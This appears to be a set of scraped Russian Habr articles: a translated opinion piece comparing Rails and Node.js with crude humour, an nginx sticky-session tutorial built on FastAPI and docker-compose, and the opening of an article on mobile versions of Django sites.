По многим вакансиям требуется знание Рельс, но вроде бы Нода планирует откусить приличный кусок пирога веб разработки в ближайшем будущем.](http://news.ycombinator.com/item?id=3572210)
Другими словами, стоит ли мне учить доминирующую технологию, которая упростит поиск работы, или же мне довериться на новом офигеньчике?
Мы все знаем, что является противоположностью нового офигеньчика.
Действительно, в той теме на Hacker News есть такой ответ:
[Рельсы — вчерашний день. Это разжиревший мета-фреймворк, для понимания которого требуется огромное количество периферических знаний.](http://news.ycombinator.com/item?id=3572856)
Само собой, вам стоит фильтровать всё, что вы читаете на Hacker News (если вы вообще воспринимаете это всерьёз), но что вообще означает для Рельс стать «вчерашним днём»? Если смотреть на Рельсы, как на фреймворк, то это утверждение — бессмыслица, но стоит взглянуть на Рельсы, как на модный прикол, как всё становится на свои места. Рельсы были на пике моды пару лет назад, но эти дни уже в прошлом.
Люди приуменьшают влияние моды на разработку, но на самом деле не всё так просто. Как говорил Alan Kay (создатель Smalltalk): "[Пока есть вещи, развивающиеся быстрее образования, у нас всегда будет поп-культура](http://queue.acm.org/detail.cfm?id=1039523)".
Рельсы — старые и тупые, а Node.js — новый офигеньчик. Но люди ненавидят Node.js из-за чрезмерного «шума». Лично для меня это выглядит забавным, потому что основной шум вокруг Node.js исходит от людей, которые ненавидят Ноду за этот шум.
Меня не удивляют рассказы о том, насколько Нода дерзкая. Когда Рельсы были в таком возрасте, они были не менее дерзкими. На RailsConf 2007 было огромное количество отличных технических докладов, но кроме того там же собралась критическая масса самовлюбленных придурков. Тогда, насколько мог, я старался игнорировать эту самовлюбленность, а теперь советую поступить так же с Нодой. И вот почему.
У напыщенных и дерзких Рельс было три основных пункта, которыми они тролили старичков из мира Java: паттерны проектирования, долгое время запуска JVM и [слишком церемониальны подход к написанию кода](http://bryanpendleton.blogspot.com/2010/02/ceremony-vs-essence.html), который не соответствовал требованиям разработки простых современных веб-приложений. Сегодня же время запуска Рельс настолько долгое, что коммьюнити пришлось написать [Spork — специальных gem, который оставляет окружение Рельс живым между выполнением тестов](http://railscasts.com/episodes/285-spork). Иначе использовать TDD с Рельсами было бы сложно. Выполнение тестов в Рельсах может занимать столько времени, что к моменту завершения вы вполне можете забыть, что вообще вы сейчас пишете, а порой — и собственное имя. Когда коммьюнити Рельс было в возрасте сегодняшней Ноды, они подшучивали над паттернами проектирования. Но посмотрите на реализацию ActiveRecord::Base, который переопределяет «inherited» и вы поймете, что это
```
class User < ActiveRecord::Base; end
```
на самом деле означает
```
User = ActiveRecord::Base.new
```
или, другими словами,
```
User = Struct.new(:username)
```
Мы вынуждены использовать странные и запутанные механизмы, чтобы прикрепить модули ClassMethods и InstanceMethods к ActiveRecord::Base, потому что если мы попробуем отнаследоваться от него, мы не получим наследника в чистом виде. На самом деле мы получим новый класс, который создается при помощи ActiveRecord::Base. Как видно, ActiveRecord::Base на самом деле является скрытой фабрикой ActiveRecordClassFactory.
Что же касается слишком церемониального кода, дайте-ка я расскажу вам про свои яйца. У меня на самом деле есть rake-таск для почёсывания яиц. Кто-то однажды сказал мне, что настоящий программист должен непременно написать код для почёсывания своей промежности, а я серьёзно подхожу к таким вопросам. Мой код использует последовательный порт для управления Arduino. У Arduino есть серво-привод, к которому прикреплена чесалка. Весь этот механизм расположен на полочке у меня под столом, на уровне пояса.
Мне в буквальном смысле приходится писать «bundle exec» каждый раз, когда я хочу почесать себе яйца. А я не в восторге от необходимости писать «bundle exec» каждый раз, чтобы почесать свои яйца. Я назвал задачу «balls», чтобы я мог писать «rake balls», ведь она скребёт мне яйца (*«because it rakes my balls» — прим. пер.*), а Bundler обосрал весь мой красивый синтаксис. Вы думаете, я жалуюсь? Вы думаете, я стараюсь обратить ваше внимание на то, что требовать от меня писать «bundle exec» каждый раз, когда я хочу почесать собственные яйца — означает проявлять невероятное призрение ко мне, как к юзеру? В конце концов, я ведь использую rake именно потому, что пишу на языке, который призван облегчить работу программиста! Но конечно же нет, я не стану говорить ничего такого, ведь это будет не конструктивно, да и делу не поможет, так что я просто печатаю «bundle exec rake balls», чтобы почесать себе яйца в гробовой тишине.
Необходимость печатать «bundle exec» каждый раз, когда я хочу почесать себе яйца — это олицетворение чрезмерно церемониального кода, на который плевались Рельсы в период с 2005 по 2007 год. Коммьюнити Рельс превратилось во всё то, что само высмеивало. Несмотря на это, они смогло фундаментально изменить веб-разработку в лучшую сторону. И не только в Руби, но и практически во всех других языках. Когда Рельсы только появились, они запустили волну клонов, которые расцветали в других языках практически ежедневно. По мере взросления Рельс, другие платформы тоже взрослели. Сегодня мы не видим новых клонов Рельс, которые появляются в каждый вторник, как это было в 2006-м. Зато мы видим, как коммьюнити Рельс создает генераторы кода, конвенции прежде конфигураций и аккуратненькие раутеры каждый раз, когда оно покидает свою зону комфорта. Например, CoffeeScript получил свою дозу вдохновения и от Руби, и от Рельс, ставя девелоперское счастье наивысшим приоритетом.
Именно поэтому я думаю, что прислушиваться к шумихе вокруг Ноды — глупо. Это не стоит потраченных нервных клеток. Шумиха приводит к пустым спорам сторонников и противников. Это бессмысленно, просто забейте. По мере развития, Нода будет меняться, впитывая всю критику. Так же, как и Рельсы в своё время. А пока что вокруг идёт много интересной работы. Люди создают замечательные вещи, а браузеры развиваются такими темпами, что к моменту, когда Нода немного подрастет, принципы веб-разработки существенно изменятся.
То же самое происходило и с Рельсами. Именно потому писать под Рельсы было так весело, пока Рельсы были на коне. И именно потому сегодняшние Рельсы — это мощный и полезный инструмент. Но всего лишь инструмент.
Тем не менее, возвращаясь к той цитате от Why the Lucky Stiff, бессмысленно ненавидеть Рельсы за то, что сейчас они не такие модные, как раньше. Конечно, можно смотреть на Рельсы, как на динозавра, вышедшего из моды, но намного конструктивнее смотреть на них, как на полезный инструмент для создания разных штук. Но и тут нас тоже ждёт пара проблем. Давайте забудем про аргумент «Рельсы — вчерашний день», но вернёмся к этому комментарию на Hacker News:
[Рельсы —… это разжиревший мета-фреймворк, для понимания которого требуется огромное количество периферических знаний.](http://news.ycombinator.com/item?id=3572856)
Первое, что мне это напоминает — [бессмысленный вброс, сравнивающий Рельсы с «ношением трусов на голове»](http://lostechies.com/chadmyers/2011/12/30/sweet-sweet-vindication/). Я не могу согласиться с этой точкой зрения, потому что большинство этой критики применимо только к тому, как официальная документация советует вам использовать Рельсы, а не к тому, как серьёзные, известные, отборные Rails-разработчики используют их (за исключеним, разумеется, самого DHH). Я думаю, что аргумент про «огромное количество периферических знаний» попал в яблочко. И главное среди этих периферических знаний — это понимание разницы между тем, чему вас учит официальная документация Рельс и тем, как на самом деле поступают разработчики.
Например, я не могу себе представить, чтобы кто-то кроме DHH и, возможно, пары других разработчиков Рельс на самом деле использовал рельсовые тесты так, как рекоммендуют сами Рельсы. Я не думаю, что кто-то кроме DHH и, возможно, пары других разработчиков Рельс вообще воспринимает всерьёз официальный подход Рельс к тестированию. Рельсовые модульные тесты на самом деле не модульные, рельсовые интеграционные тесты на самом деле не интеграционные, а рельсовые функциональные тесты — нифига не функциональные. Большинство разработчиков просто создаёт директорию «spec», ставит RSpec и выкидывает к чертям всё остальное. Так что приводить такие аргументы в споре против Рельс — пустая трата времени.
В аргументе «Рельсы — старые и тупые» часть про «старые» можно проигнорировать. «Старый офигеньчик» означает «классика». Но «тупые» — это то, на что стоит обратить внимание, потому что в Рельсах действительно хватает тупой фигни. Укадайте-ка, что случится, если забыть поставить «source :rubygems» первой строчкой в свой Gemfile?
```
Ваш Gemfile не содержит ни одного источника. Вы можете добавить источник при помощи строки типа 'source :rubygems'
```
Вы чё, бля, издеваетесь?!
Вот как выглядела бы подсказка Гугла «возможно, вы имели в виду», если бы её разработала команда Бандлера:

Перевод: Возможно, вы имели в виду «бритни спирс». Тогда пожалуйста, введи свой поисковый запрос правильно, грёбанный тупица.
Bundler делает управление зависимостями очень простым по сравнению с тем, как было раньше, но из-за того, что 'source :rubygems' не включен по умолчанию (хотя Бандлер ***знает***, что он должен быть включен), Бандлер терпит ***полную*** неудачу в применении конвенции прежде конфигурации. И я не имею в виду «могло бы быть лучше», я имею в виду «тебе кол, незачёт, остаёшься на второй год». Это всё равно, что «малость провтыкать с одеждой», придя на работу в одних трусах, надетых на голову, да ещё и в грязных.
Bundler — не единственная проблема. С появлением Rails 3, Рельсы сошли с рельс.

Перевод: Rails 3 позволяет создавать новые приложения проще:…
Эта ссылка иронична, она ведёт на гигантскую страницу со списком вещей, которые нужно сделать, прежде чем можно начать писать своё приложение.

Перевод: Когда я начинал учить рельсы, примерно версии 0.6, у меня был один исполняемый файл, который устанавивал руби + рельсы. Я печатал одну команду и начинал кодить.
Зацените эту дискуссию:

Перевод:
@topfunky: Rails 3 обещали возможность «собрать свои маленькие рельсы» только с тем, что тебе надо. Кто-нибудь на самом деле этим занимается?
@jashkenas: @topfunky я не думаю. ИМХО, последствия от мерджа Merb'а — это пока что самое печальное, что произошло с Рельсами.
@j3: @jashkenas а можно поподробнее? /cc @topfunky
@jashkenas: @j3 Весь прогресс заглох на два года, третьи Рельсы во многом \*до сих пор\* тормознее вторых, Bundler — это кошмар, Node.js победил.
[Остальное можете почитать здесь](http://twitter.theinfo.org/155388533346009088), если хотите. Я просто приведу пару отрывков.

Перевод: @tomdale Окей. Для приложений с нуля, я бы наверное выбрал Ноду. Если бы Рельсы действительно развивались последние 3 года, возможно, всё сложилось бы иначе.

Перевод:
@jashkenas: @tomdale Согласен по всем пунктам. В принципе, я просто расстроен, что третьи Рельсы не выглядят качественно лучше вторых. Те же фичи, другой API.
@josevalim: @jashkenas @tomdale если оценивать Rails 3 только с позиции разработчика приложений, то да. но третьи рельсы всегда были направлены на коммьюнити разработчиков плагинов.
Если перефразировать Хосе, Rails 1 и Rails 2 предназначались разработчикам приложений. Rails 3 предназначены для создателей плагинов и программистов, которые поддерживают существующие приложения. Это всё здорово, но создавать фреймворк приложений, игнорируя разработчиков приложений как основную целевую аудиторию — это как раз одна из вещей, которую Рельсы высмеивали в Джаве в 2006-м. Хосе — один из основных разработчиков Рельс и он написал [потрясающую книгу, описывающую невероятную силу нового модульного API третьих Рельс](https://www.amazon.com/dp/1934356735/ref=as_li_ss_til?tag=gilebowk-20&camp=0&creative=0&linkCode=as4&creativeASIN=1934356735&adid=0WB7PEAZH17F5QJAT0M7&), но порой твиты звучат громче книг.

Перевод: «Node.js – это будущее серверных приложений» @wardcunningham #nodepdx
Уорд Каннингем – это [нехилый такой аргументик](https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%BD%D0%BD%D0%B8%D0%BD%D0%B3%D0%B5%D0%BC,_%D0%A3%D0%BE%D1%80%D0%B4).
Мой ответ тому парню с Hacker News, который спрашивал, стоит ли ему учить Ноду или Рельсы — такой же, какой бы он получил от Jeremy Ashkenas (*автор CoffeeScript — прим. пер.*): учи Ноду. (На самом деле, я не могу говорить за Джереми, так что скорее учи и то, и другое, но больше внимания удели Ноде). Порой весело быть тусовщиком, а музыка за соседней дверью сейчас веселее. На сегодняшний день важнее учить Node.js, CoffeeScript и Backbone, потому что работа, которая кипит в этих сообществах, меняет парадигмы. Текущая же работа с Рельсами заключается в причёсывании парадигм, которые Рельсы меняли в своё время — правда, третьи Рельсы добавили столько же острых углов, сколько и убрали.
Кстати, про острые углы. Браузер превращается в операционную систему. Если у вас новая версия Хрома, вы уже можете поиграть с браузерной [драм-машиной](http://chromium.googlecode.com/svn/trunk/samples/audio/shiny-drum-machine.html), а так же с [фильтрами, компрессорами и синтезаторами](http://chromium.googlecode.com/svn/trunk/samples/audio/index.html). Конечно, на данный момент это может закончиться вылетом браузера, но скоро всё будет офигенно. Также, [весьма вероятно, что веб-приложения станут выглядеть устаревшими по сравнению с мобильными приложениями](https://trigger.io/cross-platform-application-development-blog/2012/01/24/youve-probably-underestimated-just-how-big-this-is/), а Ноде будет проще получить от этого выгоду, чем Рельсам.
Когда вы учите что-то новое, вам хочется, чтобы это было весело. Рельсы до сих пор полезны, но больше не заводят. Хотя у них полно офигенных штук, воздух так же наполнен всякими «какого хрена? чем они вообще думали?!». Разгребать это говнище — удовольствие не из приятных. Если вы хотите работать с тем, что будет приносить удовольствие, попробуйте Clojure, Scala или Node.js. Clojure и Scala работают на основе Java, воспоминания о которой до сих пор не дают мне спокойно спать ночами, а Node.js подразумевает язык, писать на котором мне весело, несмотря на его частые глупости. CoffeeScript далеко не идеален, но писать на нём приятно, потому что он снижает [WAT-фактор](https://www.destroyallsoftware.com/talks/wat) JavaScript'а до приемлемого уровня фонового шума.
Rails – это уже не будущее, а прошлое.
<http://www.youtube.com/watch?v=WM1RChZk1EU>
Я думаю, что сейчас проще найти хорошую работу с Node.js, чем хорошую работу с Rails. Но лично мне интереснее работать над собственными проектами, на которых я точно так же получаю удовольствие от Ноды. Так что я готовлю серию видео, в которых создание музыки будет использоваться для обучения Node, CoffeeScript, Backbone, Socket.io и, что самое главное, [jasmine-node](https://github.com/mhevery/jasmine-node) – порту джаваскриптовой BDD-библиотеки [Jasmine](http://pivotal.github.com/jasmine/) на Node.js. Используя jasmine-node, вы можете выполнять ваши спеки на сервере в большинстве случаев (или вообще всегда — подробности расскажу в этих видео), причём выигрыш — просто офигенный.
Мне никогда не нравилось выполнять спеки в браузере. Моментально выполнять их в коммандной строке — огромное наслаждение, ведь можно подпихнуть их в continuous integration, да в принципе куда угодно, используя юниксовые коды возврата. Серьёзно, в 2012-м году уже не осталось отмазок, чтобы не писать свой джаваскрипт в стиле TDD/BDD.
Возвращаясь к теме джаваскриптовой драм-машины, я написал библиотеку на Руби, которая называется Archaeopteryx. Это комбинация MIDI-интерфейса, драм-машины и вероятностного импровизатора брейкбита. Я начал переписывать его на CoffeeScript. Новая версия называется Clyde и её код стал намного чище.
А ещё я приготовил парочку действительно весёлых хаков.
Я выбрал название Клайд отчасти потому, что мне задавали слишком много вопросов о том, как правильно произносить Archaeopteryx (Археоптерикс), но в основном — в честь легендарного барабанщика [Клайда Стаблфилда](http://en.wikipedia.org/wiki/Clyde_Stubblefield) — не просто крутого барабанщика, а [самого крутого барабанщика](http://en.wikipedia.org/wiki/Funky_Drummer), про которого пел Джеймс Браун — который, кстати, будет ДОКЛАДЧИКОМ на Madison RubyConf в этом году. Это та же конференция, на которой я распсиховался в прошлом году после фразы о том, что тестировать JavaScript — не обязательно. Я даже не могу передать, насколько я взволнован.
Справедливости ради, Ari Russo написал потрясающую MIDI-библиотеку на Ruby под названием Unimidi, которая выглядит намного лучше всего, что я сам когда-либо писал, но для этого проекта я остановлюсь на JavaScript. Частично — потому, что мне кажется более выгодным инвестировать своё время в этот язык, а не в Руби (особенно потому, что я буду повторять те же вещи, которые уже делал в Руби), а частично — потому что я верю в его технологическое превосходство.
Кстати, дело не только в том, что Клайд проще произносить. Многие люди жаловались, что Археоптерикс тяжело читать. Несмотря на то, что Клайд находится в активной разработке, его исходники уже намного проще читаются. Во-первых, мне пришлось натырить много низкоуровневых MIDI-интерфейсов для Археоптерикса из отличной книги за авторством Topher Cyll под названием [*Practical Ruby Projects*](https://www.amazon.com/dp/159059911X/ref=as_li_ss_til?tag=gilebowk-20&camp=0&creative=0&linkCode=as4&creativeASIN=159059911X&adid=0G5KQYE1BG6H8HS30VM8&) (Практические Проекты на Ruby). (Позже Ben Bleything переписал их, создав более чистую интерфейсную библиотеку под названием [MIDIator](https://github.com/bleything/midiator)). С другой стороны, чтобы добавить поддержку MIDI в Клайд, мне достаточно было установить [отличную Node.js-библиотеку](https://github.com/justinlatimer/node-midi) и написать немного простейшего кода. Целые куски кода Археоптерикса посвящены имплементации джаваскриптовых эквивалентов setTimeout() и копированию lambda в L, чтобы объектам можно было свободно назначать методы. Типа того, как мы передаем функции в JavaScript.
Грубо говоря, JavaScript лучше подходит для проектов такого типа, потому что Археоптерикс использует кучу хаков только для того, чтобы Ruby начал работать, как JavaScript. И хотя JavaScript сам по себе довольно вырвиглазный, CoffeScript настолько красив, что порой заставляет Ruby выглядеть неуклюжим.

Перевод:
@gilesboatboy: каждый раз, когда я вижу do |foo|, во мне просыпается маленький задрот, желающий убивать. как это назвать? задротогнев? ведь «do» — совершенно лишние буковки :-p
@judsonlester: если бы в Руби были настоящие макросы, тогда в этих буковках небыло бы необходимости.
@topfunky: где мой CoffeeScript для Ruby?! пускай компилятор использует отступы, которые все и так пишут, вместо бесполезных do-end.
Ребятам, которые игрались с Клайдом, также понравилась простая интеграция с Garageband, а значит любой пользователь Мака сможет легко и просто поднять у себя Клайд, в то время, как попытки установить Археоптерикс на свой комп ставили в тупик многих. Опенсорсный проект, который работает только на машине автора — бесполезен.
Мне нравится идея моих видео, потому что они будут обучать передовым технологиям при помощи весёлых и интересных примеров. Они на самом деле могут стать лучшим, самым увлекательным способом научиться современной разработке на JavaScript. По-моему важно, чтобы обучение разработке софта было весёлым, потому что я хочу вдохновлять людей на поиски собственных хакерских решений, ведь лучше всего мы запоминаем то, на чём концентрируемся. Этой идеей пронизаны наши хакерские языки: когда мы изучаем новую технологию, мы говорим, что «играемся с ней». Завтра после обеда я бесплатно опубликую моё первое видео, так что можете заглянуть сюда в пятницу (*[вот оно](http://gilesbowkett.blogspot.com/2012/02/making-music-with-javascript-is-easy.html) — прим. пер.*).
Так как этот блогпост — в какой-то степени реклама этих видео, а в рекламе прежде всего важна правда, я должен признаться, что на самом деле у меня нет rake-таска для почёсывания яиц. И всё же, у меня сложилось впечатление, что мне нужно печатать «bundle exec» при каждом почёсывании яиц, хотя этой херни можно было бы избежать при помощи минимальных знаний о путях и переменных окружения Unix. (Ещё немного нытья про Бандлер: если написать «bundle && foo», вы никогда не попадете в foo; похоже, что Бандлер вообще не поддерживает [коды возврата](http://en.wikipedia.org/wiki/Exit_status#Unix)).
Возвращаясь к глобальной проблеме, Рельсы однозначно сошли с рельс. Чистый и модульный API — это важная цель, но не такая важная, как скорость разработки, современный набор фич (почему Рельсы до сих пор не поддерживают HTML5 так, как в своё время поддерживали Ajax?) и, прежде всего, счастье программиста. Интеграция Merb'а была огромным и трудозатратным отходом от цели, принесшая лишь небольшую выгоду, а DHH, написавший целых две книги о том, почему стоит отказываться от добавления новых фич, должен был срубить эти начинания на корню. Я, всё же, продолжу использовать Рельсы, потому что они до сих пор остаются замечательным фреймворком, но по-моему будет абсолютно справедливо утверждать, что Rails 3 стали шагом назад относительно Rails 2, а Бандлер, каким бы полезным он ни был, всё ещё очень далёк от идеала. Они говорят, что дошли до версии 1.0, но я не думаю, что кто-то воспринимает это всерьёз.
***Апдейт***: Yehuda Katz, один из разработчиков Бандлера и Рельс, прислал мне вот этот [полезный кусок кода](https://gist.github.com/1907466):
```
~/Code/ember.js ‹ruby-1.9.3› ‹master*› $ bundle && echo "fuck you giles"
Using rake (0.9.2.2)
Using confparser (0.0.2.1)
Using multi_json (1.0.4)
Using execjs (1.2.13)
Using libxml-ruby (2.2.2)
Using faster_xml_simple (0.5.0)
Using httpclient (2.2.4)
Using json (1.6.5)
Using nokogiri (1.5.0)
Using net-github-upload (0.0.8)
Using github-upload (0.0.2)
Using rack (1.4.1)
Using thor (0.14.6)
Using rake-pipeline (0.6.0) from https://github.com/livingsocial/rake-pipeline.git (at master)
Using rake-pipeline-web-filters (0.6.0) from https://github.com/wycats/rake-pipeline-web-filters.git (at master)
Using sproutcore (0.0.1) from https://github.com/wycats/abbot-from-scratch.git (at master)
Using uglifier (1.0.4)
Using bundler (1.1.rc.7)
Your bundle is complete! Use `bundle show [gemname]` to see where a bundled gem is installed.
fuck you giles
``` | https://habr.com/ru/post/141295/ | null | ru | null |
# Липкие сессии для самых маленьких [Часть 1]
Липкие сессии (**Sticky-session**) — это особый вид балансировки нагрузки, при которой трафик поступает на один определенный сервер группы. Как правило, перед группой серверов находится балансировщик нагрузки (**Nginx**, **HAProxy**), который и устанавливает правила распределения трафика между доступными серверами.
В первой части цикла мы посмотрим как создавать липкие сессии с помощью *Nginx*. Во [второй](https://habr.com/ru/company/domclick/blog/551332/) же части разберем создание подобной балансировки средствами *Kubernetes*.
Перед тем как настроить *nginx*, сделаем простенький сервис на фреймворке *FastAPI* для наглядной демонстрации распределения трафика. Создадим проект с виртуальным окружением Python 3.6+. В директории проекта должны находится следующие файлы:
Файл **requirements.txt** содержит несколько зависимостей:
```
fastapi==0.63.0
uvicorn==0.13.3
```
***main.py*** содержит следующий код:
```
from fastapi import FastAPI
from uuid import uuid4
app = FastAPI()
uuid = uuid4()
@app.get("/")
async def root():
return {'uuid': uuid}
```
Обратите внимание на переменную **uuid**, которая инициализируется вместе с *FastAPI* приложением. Переменная будет жить, пока работает сервер. Собственно, по значению этой переменной мы будем точно знать, что попали на тот же самый экземпляр приложения. Перед тем как запустить сервис нужно установить зависимости:
```
pip install -r requirements.txt
```
Запустить сервис можно командой:
```
uvicorn main:app --port 8080
```
Вывод будет такой:
Проверим работу сервиса с помощью [Postman](https://www.postman.com/), указываем `0.0.0.0:8080` и нажимаем Send. Сервер ответит сгенерированным *uuid*:
Рассмотрим содержание **Dockerfile**. Предполагается, что у вас есть хотя бы небольшой опыт работы с контейнерами.
```
FROM python:3.8
WORKDIR app
COPY . /app
RUN pip install -r requirements.txt
EXPOSE 8080
CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8080"]
```
Это очень похоже на то, что мы сделали вручную: создали окружение, установили зависимости, запустили проект. Ну, разве что порт не публиковали.
Соберём образ (не забываем про точку):
```
docker build -t sticky:0.0.1 .
```
И запустим контейнер с пробросом портов:
```
docker run -p 8080:8080 sticky:0.0.1
```
Пощелкайте Postman убедитесь, что все также работает. Теперь сделаем запуск приложения в несколько реплик.
В корне директории проекта создадим файлик ***docker-compose.yaml***. Вставим следующий код:
```
version: '3.4'
services:
web:
build:
context: .
ports:
- "8080-8081:8080"
```
Данная инструкция запустит в *docker-compose* приложение **web**. В **build** указывается место расположения образа (в нашем случае *Dockerfile* лежит в корне директории) на основе которого собирается контейнер. В **ports** открываем порты `8080` и `8081` которые будут связаны с портом `8080` внутри контейнера. Запись в виде диапазона нужна при запуске приложения в несколько инстансов (реплик). Приложения сами займут свободные порты из предоставленного пула. Только единственное условие: количество портов в пуле должно быть больше либо равно количеству запускаемых реплик, иначе возникнет ошибка.
Запустить несколько контейнеров разом можно командой:
```
docker-compose up --build --scale web=2
```
В *Postman* проверим работу контейнеров `0.0.0.0:8080` и `0.0.0.0:8081` – отвечают оба сервера:
Теперь можно приступить к настройке **Nginx**!
Создадим папку *nginx*, а в нем файлик **nginx.conf**.
Внутри *nginx.conf* опишем следующее:
```
worker_processes auto;
events {
}
http {
upstream sticky-app {
server web:8080;
server web:8081;
}
server {
listen 80;
location / {
proxy_pass http://sticky-app;
}
}
}
```
Данный конфиг указывает *nginx* слушать порт 80 и весь трафик проксировать на сервера перечисленные в **upstream**. В данной конфигурации происходит балансировка типа [round-robin](https://ru.wikipedia.org/wiki/Round-robin_(%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC)), липкие сессии добавим попозже.
Теперь поднимем *nginx* вместе с приложением *web*. В **docker-compose-yaml** добавим следующее:
```
nginx:
image: nginx:latest
container_name: my-nginx
depends_on:
- web
volumes:
- ./nginx/nginx.conf:/etc/nginx/nginx.conf
ports:
- 80:80
- 443:443
```
Тут все просто. В **image** указывается какой официальный образ забрать при сборке. В **Volumes** мы монтируем наш конфиг из рабочей директории прямиком в контейнер. Это например, позволит нам изменять конфиг *nginx* и не пересобирать заново *docker-compose*, достаточно будет только перезапустить *nginx* контейнер.
Финальный штрих: подключим приложение web и nginx к новой сети **app-net**. Благодаря этому в конфиге *nginx* можно указывать DNS сервиса (web), который определен в *docker-compose***.**
Полный **docker-compose.yaml**выглядит так:
```
version: '3.4'
services:
web:
build:
context: .
ports:
- "8080-8081:8080"
networks:
- app-net
nginx:
image: nginx:latest
container_name: my-nginx
depends_on:
- web
volumes:
- ./nginx/nginx.conf:/etc/nginx/nginx.conf
ports:
- 80:80
- 443:443
networks:
- app-net
networks:
app-net:
driver: bridge
```
Удалим запущенные контейнеры:
```
docker-compose down
```
И запустим сервис в двух экземплярах вместе с *nginx*:
```
docker-compose up --build --scale web=2
```
В *Postman* отправляем запросы на порт 80 и видим, что балансировка работает – ответы приходят разные.
Теперь сделаем наконец липкие сессии! Обновим конфиг *nginx* добавив одну строчку в блок **upstream**:
Полный конфиг nginx
```
worker_processes auto;
events {
}
http {
upstream sticky-app {
hash $cookie_key;
server web:8080;
server web:8081;
}
server {
listen 80;
location / {
proxy_pass http://sticky-app;
}
}
}
```
*Nginx* будет брать хэш от *cookie* с именем **key** и если такой хэш уже был - направит трафик на тот же сервер.
альтернатива для директивы hashПомимо директивы [**hash,**](http://nginx.org/en/docs/http/ngx_http_upstream_module.html#hash)существует также[**ip\_hash**](http://nginx.org/en/docs/http/ngx_http_upstream_module.html#ip_hash)**.** В этом случае *nginx* будет перенаправлять трафик в зависимости от ip-адреса клиента.
Перезапустим *docker-compose*:
```
docker-compose down
docker-compose up --build --scale web=2
```
После сборки создадим в *Postman* cookie c именем ***key*** для адреса `0.0.0.0`:
Проверим `0.0.0.0:80`
Сколько бы я не отправлял запросы - ответ не меняется. Теперь изменим значение ***key:***
И отправим запрос по тому же адресу:
Ответ изменился и больше не меняется с отправкой новых запросов. **Готово!** Таким простым способом можно реализовать липкие сессии в *nginx*.
немного саморефлексииПодобная балансировка имеет большой минус: трафик может быть сконцентрирован на конкретном приложении, пока остальные недостаточно нагружены или еще хуже вообще простаивают.
В [**NGINX PLUS**](https://docs.nginx.com/nginx/admin-guide/load-balancer/http-load-balancer/#enabling-session-persistence) (платная версия) реализованы продвинутые липкие сессии. Где можно указать таймаут по истечении которого трафик прилипнет к другому серверу из группы. Это более сбалансированные липкие сессии.
Что делать если не хочется платить? Можно разрулить это на стороне самого приложения и подставлять в cookie другое значение **key** спустя некоторое время. Но надо учитывать, что в таком случае нарушается *принцип единой ответственности*. Сервис *не должен* знать или уметь себя балансировать, это уже заботы вышестоящей инстанции.
В [следующей](https://habr.com/ru/company/domclick/blog/551332/) части разберем создание липкой сессии в ***kubernetes***.
 | https://habr.com/ru/post/548610/ | null | ru | null |
# Мобильная версия для Django-проекта
[](http://habrahabr.ru/company/mailru/blog/239343/)
С каждым днем пользователи смартфонов занимают все большую долю интернета. По [данным](http://www.liveinternet.ru/stat/ru/oses.gif?slice=ru;period=week;graph=yes) LiveInternet доля российских пользователей OS Android уже превысила долю Windows7. В выходные дни пользователи мобильных платформ [пользуются](http://www.liveinternet.ru/stat/ru/oses.gif?slice=ru;graph=yes) интернетом значительно чаще. Та же тенденция [наблюдается](http://www.liveinternet.ru/stat/ru/oses.gif?period=week;graph=yes) и в мире. Все это еще раз доказывает необходимость адаптации сайта для смартфонов и планшетов.
О том, как можно адаптировать ваш Django-проект для мобильных устройств, я расскажу в этой статье. Но сначала давайте разберем, какие есть варианты создания мобильной версии сайта.
1. Варианты мобильной версии сайта
==================================
### 1.1 Адаптивная верстка
В этом случае мы отдаем одинаковое количество данных для большой и мобильной версии сайта. Этот подход самый простой для backend разработки, все решается версткой.
Из плюсов:
* не требует редиректов;
* не нужно отдельно сообщать поисковым роботам о наличии мобильной версии (мета теги alternate, сайтмапы и прочее).
Из минусов:
* поскольку на мобильной версии приходится отдавать все и скрывать лишнее, создается лишний трафик и нагрузка на сервер;
* версия для мобильных устройств всегда должна создаваться с большой версией сайта;
* так как данные на обоих версиях одинаковы, может быть сложно удобно организовать обе версии, скорее всего мобильной версией придется пожертвовать; к примеру, я не представляю, как можно сделать удобный форум при таком подходе.
Такой подход хорошо подходит для небольших сайтов. Когда выводимого контента на страницу становится много, простота в реализации создает большую проблему в юзабилити.
### 1.2 Мобильная версия на поддомене
По сути, это два отдельных сайта. Такой подход решает проблемы лишнего трафика, дает больше гибкости и возможностей в разработке версии для мобильных устройств. Однако при этом вопрос, какую версию показывать пользователю, решается сервером, а не браузером. Также нужно дать возможность пользователю выбрать, какая версия сайта ему нужна, и «подружить» обе версии сайта редиректами и альтернейтами.
Разные URL одной страницы приводят к недостатку этого способа: относительные ссылки в материалах сайта могут вести на страницы, отсутствующие в мобильной версии. Поэтому приходится указывать абсолютные ссылки на основной домен и потом редиректить пользователя на нужную версию. Решением этого недостатка будет полностью соответствующие большая и мобильная версии, но в этом случае правильнее идти третьим способом.
### 1.3 Мобильная версия на том же домене
Это доработка первого подхода и решение его минуса с трафиком и лишней нагрузкой. Реализуется он так же как с поддоменом: вы определяете, какая версия нужна клиенту, и отдаете нужное количество данных в нужный шаблон. Одинаковый URL для обоих версий сайта — безусловно плюс. Хотя проблема организации контента для обоих версий еще остается, но решать ее уже проще, так как ограничения на одинаковые данные уже нет.
### 1.4 Наш опыт
В отделе контентных проектов Mail.Ru Group мы используем второй подход, хотя и плавно движемся в сторону третьего. Проекты Дети Mail.Ru и Здоровье Mail.Ru написаны на Django, оба имеют мобильные и/или тач версии. Несмотря на то, что проекты под капотом немного отличаются, механизм создания мобильных версий у них одинаков. Об этом я хочу с вами поделиться.

2. Исходные соглашения
======================
### 2.1 Все роуты мы именуем
```
url(r'^$', views.MainIndexView.as_view(), name='health-main-index')
url(r'^(?P[-\w]+)/$', views.NewsDetailView.as\_view(), name='health-news-detail')
```
И обращаемся к ним всегда по этому имени.
```
reverse('health-main-index')
```
Мы никогда не собираем URL'ы сами в контроллерах или шаблонах, они указаны только в urls.py. [DRY](https://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself).
### 2.2 Используем django-hosts
Об этой [библиотеке](https://github.com/jezdez/django-hosts) уже упоминали на Хабре. Изначально мы ее использовали на «детях» для форума на поддомене, сейчас форум переехал у нас на основной хост, и эта библиотека используется только для мобильный версий.
